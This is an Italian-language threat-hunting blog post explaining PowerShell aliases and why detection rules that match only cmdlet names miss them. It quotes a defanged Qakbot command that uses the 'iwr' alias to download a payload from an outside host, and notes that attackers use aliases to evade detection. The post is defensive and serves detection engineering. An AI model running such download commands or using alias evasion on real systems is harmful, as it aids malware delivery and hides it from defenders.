Caccia alle minacce e alias di PowerShell

Feb 21 2023
In questo articolo, parlerò di cosa sono gli alias di Powershell e perché è importante tenerli a mente durante l'esecuzione di attività di Threat Hunting o la creazione di regole di rilevamento. Che cos'è un alias? Come suggerisce il nome, un alias è un nome alternativo per un cmdlet o un comando di PowerShell.

In questo articolo, parlerò di cosa sono gli alias di Powershell e perché è importante tenerli a mente durante l'esecuzione di attività di Threat Hunting o la creazione di regole di rilevamento.

Che cos'è un alias?

Come suggerisce il nome, un alias è un nome alternativo per un cmdlet o un comando di PowerShell. Una volta creato l'Alias, potrai usarlo al posto del comando originale.

PS > New-Alias -Name goto -Value Set-Location

Il cmdlet Set-Locationviene utilizzato per modificare la directory della cartella corrente, dopo aver eseguito il comando sopra potremmo cambiare directory semplicemente usando il gotocomando.

Quindi, ora che sappiamo cosa sono gli alias e come funzionano, passiamo a cose più succose.

Alias ​​incorporati

Esistono già alias incorporati in Powershell, che probabilmente hai utilizzato senza nemmeno sapere che si tratta effettivamente di un alias, ad esempio:

  • curlcomando è un alias integrato perInvoke-WebRequest
  • cdcomando (cambia directory) è un alias integrato perSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
                
built-in aliases for starting a process
List of all cmdlets and its associated alias

Gli aggressori possono usarlo come tecnica di evasione della difesa contro le regole di rilevamento basate su stringhe.

In un recente esempio di Qakbot condiviso da @ pr0xylife la catena di infezione era — .one > .wsf > .cmd > ps > .dll — E il comando Powershell eseguito utilizzava uno degli alias — iwr — perInvoke-WebRequest

poweRshell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Dal momento che ci sono un sacco di alias non ben noti che potrebbero essere abusati da TA, ho creato un piccolo cheat sheet con alcuni dei più interessanti:

E infine, questo è il modo in cui Start-Processil comando using sapsapparirà nei registri eventi di Sysmon. Possiamo confermare che l'alias non è "tradotto" nel suo cmdlet originale.

È molto comune sviluppare una regola per rilevare una specifica stringa di cmdlet di Powershell senza includere tutti i suoi alias incorporati, che potrebbero causare una minaccia non rilevata.

Spero tu abbia imparato qualcosa da questo blog.

Grazie per la lettura e buona caccia!